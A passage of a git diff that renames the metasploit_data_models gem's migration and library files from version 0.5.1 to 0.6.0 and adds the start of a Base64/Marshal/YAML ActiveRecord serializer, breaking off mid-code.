lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100916175000_add_campaigns_and_templates.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100920012100_add_generate_exe_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20100926214000_add_template_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101001000000_add_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101002000000_add_query.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101007000000_add_vuln_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101008111800_add_clients_to_campaigns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101009023300_add_campaign_attachments.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101104135100_add_imported_creds.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000000_fix_web_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101203000001_expand_host_comment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110112154300_add_module_uuid_to_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110204112800_add_host_tags.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110317144932_add_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110414180600_add_local_id_to_session_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110414180600_add_local_id_to_session_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110415175705_add_routes_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110415175705_add_routes_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110422000000_convert_binary.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110422000000_convert_binary.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110425095900_add_last_seen_to_sessions.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110425095900_add_last_seen_to_sessions.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110513143900_track_successful_exploits.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110513143900_track_successful_exploits.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110517160800_rename_and_prune_nessus_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000000_add_task_id_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000000_add_task_id_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110527000001_add_api_keys_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110527000001_add_api_keys_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110606000001_add_macros_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110606000001_add_macros_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110622000000_add_settings_to_tasks_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110622000000_add_settings_to_tasks_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110624000001_add_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110624000001_add_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110625000001_add_macro_to_listeners_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110625000001_add_macro_to_listeners_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000001_add_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000001_add_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110717000001_add_profiles_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110717000001_add_profiles_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110727163801_expand_cred_ptype_column.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110727163801_expand_cred_ptype_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110730000001_add_initial_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110730000001_add_initial_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110812000001_prune_indexes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110812000001_prune_indexes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110922000000_expand_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110922000000_expand_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110928101300_add_mod_ref_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20110928101300_add_mod_ref_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111011110000_add_display_name_to_reports_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111011110000_add_display_name_to_reports_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111203000000_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111203000000_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111204000000_more_inet_columns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111204000000_more_inet_columns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20111210000000_add_scope_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20111210000000_add_scope_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120126110000_add_virtual_host_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120126110000_add_virtual_host_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120411173220_rename_workspace_members.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120411173220_rename_workspace_members.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120601152442_add_counter_caches_to_hosts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120601152442_add_counter_caches_to_hosts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000000_add_vuln_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000000_add_vuln_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000001_add_host_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000001_add_host_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000002_expand_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000002_expand_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000003_expand_details2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000003_expand_details2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000004_add_vuln_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000004_add_vuln_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000006_add_module_details.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000007_add_exploit_attempts.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120625000008_add_fail_message.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb new file mode 100755 index 0000000000..dfc0596b68 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/base64_serializer.rb @@ -0,0 +1,103 @@ +# Provides ActiveRecord 3.1x-friendly serialization for descendants of +# ActiveRecord::Base. Backwards compatible with older YAML methods and +# will fall back to string decoding in the worst case +# +# @example Using default default of {} +# serialize :foo, MetasploitDataModels::Base64Serializer.new +# +# @example Overriding default to [] +# serialize :bar, MetasploitDataModels::Base64Serializer.new(:default => []) +# +module MetasploitDataModels + class Base64Serializer + # + # CONSTANTS + # + + # The default for {#default} + DEFAULT = {} + # Deserializers for {#load} + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. The raw value. + LOADERS = [ + lambda { |serialized| + marshaled = serialized.unpack('m').first + # Load the unpacked Marshal object first + Marshal.load(marshaled) + }, + lambda { |serialized| + # Support legacy YAML encoding for existing data + YAML.load(serialized) + }, + lambda { 